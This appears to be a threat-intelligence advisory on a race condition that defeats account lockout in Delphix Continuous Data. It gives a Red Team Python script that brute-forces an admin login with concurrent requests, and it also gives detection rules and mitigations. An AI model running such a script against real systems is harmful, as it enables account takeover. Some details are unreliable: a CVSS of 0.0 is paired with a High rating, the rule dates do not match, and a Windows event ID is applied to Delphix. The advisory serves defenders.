CVE-2026-14254

Executive Summary

CVE-2026-14254 describes a race condition in the account lockout mechanism of Delphix Continuous Data. This flaw allows an attacker to bypass the lockout threshold by sending concurrent authentication requests. Because the failed-login counter and lockout status are updated asynchronously, parallel login attempts can be processed before the system registers a failure, enabling unlimited brute-force password guessing against a targeted account. No public exploit code or patch details are currently available.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise data management product (Delphix Continuous Data). Supply chain risks are limited to the vendor’s own software distribution and update channels.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (race condition exploitable over network)
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): High (account takeover)
• Integrity (I): High (unauthorized access)
• Availability (A): None
• Threat Level: High – Allows brute-force bypass, leading to account compromise.

Deep Dive & Mechanics

The vulnerability resides in the authentication module of Delphix Continuous Data. The lockout mechanism is designed to increment a failed-login counter and set a lockout flag after a threshold of failed attempts. However, due to a race condition, multiple concurrent authentication requests can be processed before the counter and lockout status are updated.

Attack Flow:

1. Attacker sends a burst of parallel login requests (e.g., using HTTP pipelining or multithreaded scripts) for a target account.
2. Each request is processed independently by the server’s authentication handler.
3. The handler checks the lockout status and failed-login counter. Due to lack of proper synchronization, multiple requests may read the counter before any of them increments it.
4. All requests are evaluated against the same (pre-increment) counter value, allowing many attempts to be processed even if the threshold is exceeded.
5. The attacker can continue sending bursts, effectively bypassing the lockout and performing unlimited password guessing.

Root Cause: Missing or improper locking (mutex/semaphore) around the critical section that reads and updates the failed-login counter and lockout flag.

Vulnerable vs. Patched Code

No official patch or code diff is available. The following is a conceptual representation.

Vulnerable (pseudocode):

def authenticate(username, password):
    if is_locked(username):
        return "Account locked"
    if check_password(username, password):
        reset_failed_attempts(username)
        return "Success"
    else:
        # Race condition: multiple threads can read counter before increment
        increment_failed_attempts(username)
        if get_failed_attempts(username) >= THRESHOLD:
            lock_account(username)
        return "Failure"

Patched (pseudocode):

import threading

lock = threading.Lock()

def authenticate(username, password):
    with lock:
        if is_locked(username):
            return "Account locked"
        if check_password(username, password):
            reset_failed_attempts(username)
            return "Success"
        else:
            increment_failed_attempts(username)
            if get_failed_attempts(username) >= THRESHOLD:
                lock_account(username)
            return "Failure"

Exploitation & Lab Setup

Red Team

Prerequisites:

• Network access to Delphix Continuous Data login endpoint.
• Target account username (e.g., admin).

Exploitation Steps:

1. Identify the login endpoint (e.g., POST /api/login).
2. Use a multithreaded script to send concurrent login requests with incorrect passwords.
3. Monitor for successful authentication after many attempts.

Example Script (Python):

import requests
import threading

target_url = "https://target.delphix.local/api/login"
username = "admin"
password_list = ["pass1", "pass2", "pass3", ...]  # Wordlist

def attempt(password):
    data = {"username": username, "password": password}
    r = requests.post(target_url, data=data, verify=False)
    if "Success" in r.text:
        print(f"[+] Found password: {password}")
        exit(0)

threads = []
for pwd in password_list:
    t = threading.Thread(target=attempt, args=(pwd,))
    threads.append(t)
    t.start()
    # Send next request immediately without waiting
for t in threads:
    t.join()

Blue Team

Detection:

• Monitor for a high rate of failed login attempts from a single IP within a short time window.
• Alert on multiple concurrent authentication requests to the same account.

Mitigation:

• Apply vendor patch when available.
• Implement rate limiting on login endpoints.
• Use Web Application Firewall (WAF) rules to block rapid sequential requests.
• Enable account lockout with proper synchronization (e.g., database-level locks).

Indicators of Compromise (IOCs)

• Network: Multiple POST requests to /api/login (or similar) with same username and varying passwords from same source IP.
• Logs: Repeated Authentication failed entries for same user within milliseconds.
• System: Unusual number of concurrent authentication threads from a single client.

Detection Engineering

YARA Rule

rule CVE_2026_14254_RaceCondition {
    meta:
        description = "Detects potential exploitation of CVE-2026-14254 via concurrent login attempts"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $s1 = "POST /api/login" ascii wide nocase
        $s2 = "username=" ascii wide nocase
        $s3 = "password=" ascii wide nocase
    condition:
        # of ($s*) >= 2 and filesize < 10KB
}

Sigma Rule

title: CVE-2026-14254 - Brute-Force Bypass via Race Condition
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects multiple concurrent failed login attempts to Delphix Continuous Data
logsource:
    category: application
    product: delphix_continuous_data
detection:
    selection:
        EventID: 4625  # Windows failed logon (adjust for Delphix logs)
        TargetUserName: "*"
    timeframe: 1s
    condition: selection | count() by TargetUserName > 5
falsepositives:
    - Legitimate high-frequency automation
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-14254 - Delphix Race Condition Brute-Force"; flow:to_server; content:"POST"; http_method; content:"/api/login"; http_uri; content:"username="; http_client_body; content:"password="; http_client_body; threshold: type both, track by_src, count 10, seconds 1; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Apply vendor patch when released. Contact Delphix support for hotfix.
2. Workaround: Implement external rate limiting (e.g., reverse proxy, WAF) to restrict concurrent login attempts.
3. Configuration: Increase lockout threshold and duration to reduce brute-force success.
4. Monitoring: Enable detailed logging of authentication attempts and set alerts for anomalous patterns.
5. Long-term: Use multi-factor authentication (MFA) to reduce reliance on password-based lockout.

Valters IT
DevSecOps & Cyber Threat Intelligence